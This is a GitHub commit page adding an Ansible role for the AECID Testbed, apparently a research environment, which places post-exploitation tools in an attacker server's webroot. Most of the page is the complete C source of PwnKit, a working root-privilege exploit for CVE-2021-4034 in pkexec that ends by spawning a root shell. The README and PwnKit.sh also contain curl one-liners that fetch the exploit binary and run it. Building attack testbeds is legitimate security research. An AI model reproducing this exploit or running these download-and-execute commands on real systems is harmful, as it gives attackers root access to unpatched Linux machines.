Skip to content

Commit 6c9b3a5

Browse files
author
Wolfgang Hotwagner
committed
initial commit
0 parents  commit 6c9b3a5

File tree

16 files changed

+6090
-0
lines changed

16 files changed

+6090
-0
lines changed

README.md

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
AECID-Testbed: PostExploit
2+
==========================
3+
4+
This role installs some post-exploit-tools to a specific directory. In the AECID Testbed, this will be deployed to the
5+
webroot of the attacker-server.
6+
7+
Currently the following Tools are Supported:
8+
9+
- LinPEAS(https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
10+
- PWNkit(https://github.com/ly4k/PwnKit.git)
11+
12+
Requirements
13+
------------
14+
15+
Any Debian-based Linux Distribution is supported.
16+
17+
Role Variables
18+
--------------
19+
20+
```
21+
postexploit_files:
22+
- name: linpeas.sh
23+
path: linPEAS/linpeas.sh
24+
- name: PwnKit
25+
path: PwnKit/PwnKit
26+
27+
postexploit_destpath: "/var/www/html"
28+
postexploit_apache: True
29+
postexploit_owner: "root"
30+
postexploit_group: "root"
31+
```
32+
33+
Example Playbook
34+
----------------
35+
36+
The following playbook will install apache2 and deploy the post-exploit-tools into the webroot at `/var/www/html`:
37+
38+
```
39+
- hosts: localhost
40+
roles:
41+
- role: postexploit
42+
```
43+
44+
License
45+
-------
46+
47+
GPL-3.0
48+
49+
Author Information
50+
------------------
51+
52+
Wolfgang Hotwagner(https://www.ait.ac.at)

defaults/main.yml

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
---
2+
# defaults file for privesctools
3+
postexploit_files:
4+
- name: linpeas.sh
5+
path: linPEAS/linpeas.sh
6+
- name: PwnKit
7+
path: PwnKit/PwnKit
8+
9+
postexploit_destpath: "/var/www/html"
10+
postexploit_apache: True
11+
postexploit_owner: "root"
12+
postexploit_group: "root"

files/PwnKit/LICENSE

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
MIT License
2+
3+
Copyright (c) 2022 Oliver Lyak
4+
5+
Permission is hereby granted, free of charge, to any person obtaining a copy
6+
of this software and associated documentation files (the "Software"), to deal
7+
in the Software without restriction, including without limitation the rights
8+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9+
copies of the Software, and to permit persons to whom the Software is
10+
furnished to do so, subject to the following conditions:
11+
12+
The above copyright notice and this permission notice shall be included in all
13+
copies or substantial portions of the Software.
14+
15+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+
SOFTWARE.

files/PwnKit/Makefile

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
.PHONY: all clean
2+
all: PwnKit PwnKit32
3+
4+
PwnKit:
5+
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
6+
7+
PwnKit32:
8+
gcc -shared -m32 PwnKit.c -o PwnKit32 -Wl,-e,entry -fPIC
9+
10+
clean:
11+
rm PwnKit PwnKit32

files/PwnKit/PwnKit

17.6 KB
Binary file not shown.

files/PwnKit/PwnKit.c

Lines changed: 149 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,149 @@
1+
// gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
2+
3+
#define _XOPEN_SOURCE 700
4+
#define _GNU_SOURCE
5+
#include <dirent.h>
6+
#include <errno.h>
7+
#include <fcntl.h>
8+
#include <stdio.h>
9+
#include <string.h>
10+
#include <unistd.h>
11+
#include <stdlib.h>
12+
#include <ftw.h>
13+
14+
#include <sys/wait.h>
15+
#include <sys/stat.h>
16+
#include <sys/types.h>
17+
#include <sys/signal.h>
18+
19+
// 64-bit library
20+
#ifdef __amd64__
21+
const char service_interp[] __attribute__((section(".interp"))) = "/lib64/ld-linux-x86-64.so.2";
22+
#endif
23+
// 32-bit library
24+
#ifdef __i386__
25+
const char service_interp[] __attribute__((section(".interp"))) = "/lib/ld-linux.so.2";
26+
#endif
27+
28+
int unlink_cb(const char *fpath, const struct stat *sb, int typeflag, struct FTW *ftwbuf)
29+
{
30+
int rv = remove(fpath);
31+
32+
if (rv)
33+
perror(fpath);
34+
35+
return rv;
36+
}
37+
38+
int rmrf(char *path)
39+
{
40+
return nftw(path, unlink_cb, 64, FTW_DEPTH | FTW_PHYS);
41+
}
42+
43+
void entry()
44+
{
45+
int res;
46+
FILE *fp;
47+
char buf[PATH_MAX];
48+
int pipefd[2];
49+
char *cmd;
50+
int argc;
51+
char **argv;
52+
register unsigned long *rbp asm ("rbp");
53+
54+
argc = *(int *)(rbp+1);
55+
argv = (char **)rbp+2;
56+
57+
res = mkdir("GCONV_PATH=.", 0777);
58+
if (res == -1 && errno != EEXIST)
59+
{
60+
perror("Failed to create directory");
61+
_exit(1);
62+
}
63+
64+
res = creat("GCONV_PATH=./.pkexec", 0777);
65+
66+
res = mkdir(".pkexec", 0777);
67+
68+
fp = fopen(".pkexec/gconv-modules", "w+");
69+
if (fp == NULL)
70+
{
71+
perror("Failed to open output file");
72+
_exit(1);
73+
}
74+
if (fputs("module UTF-8// PKEXEC// pkexec 2", fp) < 0)
75+
{
76+
perror("Failed to write config");
77+
_exit(1);
78+
}
79+
fclose(fp);
80+
81+
buf[readlink("/proc/self/exe", buf, sizeof(buf))] = 0;
82+
res = symlink(buf, ".pkexec/pkexec.so");
83+
if (res == -1)
84+
{
85+
perror("Failed to copy file");
86+
_exit(1);
87+
}
88+
89+
pipe(pipefd);
90+
if (fork() == 0)
91+
{
92+
close(pipefd[1]);
93+
94+
buf[read(pipefd[0], buf, sizeof(buf)-1)] = 0;
95+
if (strstr(buf, "pkexec --version") == buf) {
96+
// Cleanup for situations where the exploit didn't work
97+
puts("Exploit failed. Target is most likely patched.");
98+
99+
rmrf("GCONV_PATH=.");
100+
rmrf(".pkexec");
101+
}
102+
103+
_exit(0);
104+
}
105+
106+
close(pipefd[0]);
107+
108+
dup2(pipefd[1], 2);
109+
close(pipefd[1]);
110+
111+
cmd = NULL;
112+
if (argc > 1) {
113+
cmd = memcpy(argv[1]-4, "CMD=", 4);
114+
}
115+
char *args[] = {NULL};
116+
char *env[] = {".pkexec", "PATH=GCONV_PATH=.", "CHARSET=pkexec", "SHELL=pkexec", cmd, NULL};
117+
execve("/usr/bin/pkexec", args, env);
118+
119+
// In case pkexec is not in /usr/bin/
120+
execvpe("pkexec", args, env);
121+
122+
_exit(0);
123+
124+
}
125+
126+
void gconv() {}
127+
void gconv_init()
128+
{
129+
close(2);
130+
dup2(1, 2);
131+
132+
char *cmd = getenv("CMD");
133+
134+
setresuid(0, 0, 0);
135+
setresgid(0, 0, 0);
136+
rmrf("GCONV_PATH=.");
137+
rmrf(".pkexec");
138+
139+
if (cmd) {
140+
execve("/bin/sh", (char *[]){"/bin/sh", "-c", cmd, NULL}, NULL);
141+
} else {
142+
// Try interactive bash first
143+
execve("/bin/bash", (char *[]){"-i", NULL}, NULL);
144+
145+
// In case interactive bash was not possible
146+
execve("/bin/sh", (char *[]){"/bin/sh", NULL}, NULL);
147+
}
148+
_exit(0);
149+
}

files/PwnKit/PwnKit.sh

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit || exit
2+
chmod +x ./PwnKit || exit
3+
(sleep 1 && rm ./PwnKit & )
4+
./PwnKit

files/PwnKit/PwnKit32

16.2 KB
Binary file not shown.

files/PwnKit/README.md

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
SOURCE: https://github.com/ly4k/PwnKit.git
2+
3+
# PwnKit
4+
5+
Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation
6+
7+
## Usage
8+
9+
Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS.
10+
11+
```bash
12+
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
13+
```
14+
15+
![](./imgs/oneliner.png)
16+
17+
### Manually
18+
19+
```bash
20+
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
21+
chmod +x ./PwnKit
22+
./PwnKit # interactive shell
23+
./PwnKit 'id' # single command
24+
```
25+
26+
![](./imgs/exploit.png)
27+
28+
### Patched
29+
30+
Running the exploit against patched versions will yield the following output.
31+
32+
![](./imgs/patched.png)
33+
34+
### Build
35+
36+
```bash
37+
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
38+
```
39+
40+
## Technical Details
41+
42+
- https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
43+
44+
## References
45+
46+
- https://github.com/arthepsy/CVE-2021-4034/

files/PwnKit/imgs/exploit.png

163 KB
Loading

0 commit comments

Comments
 (0)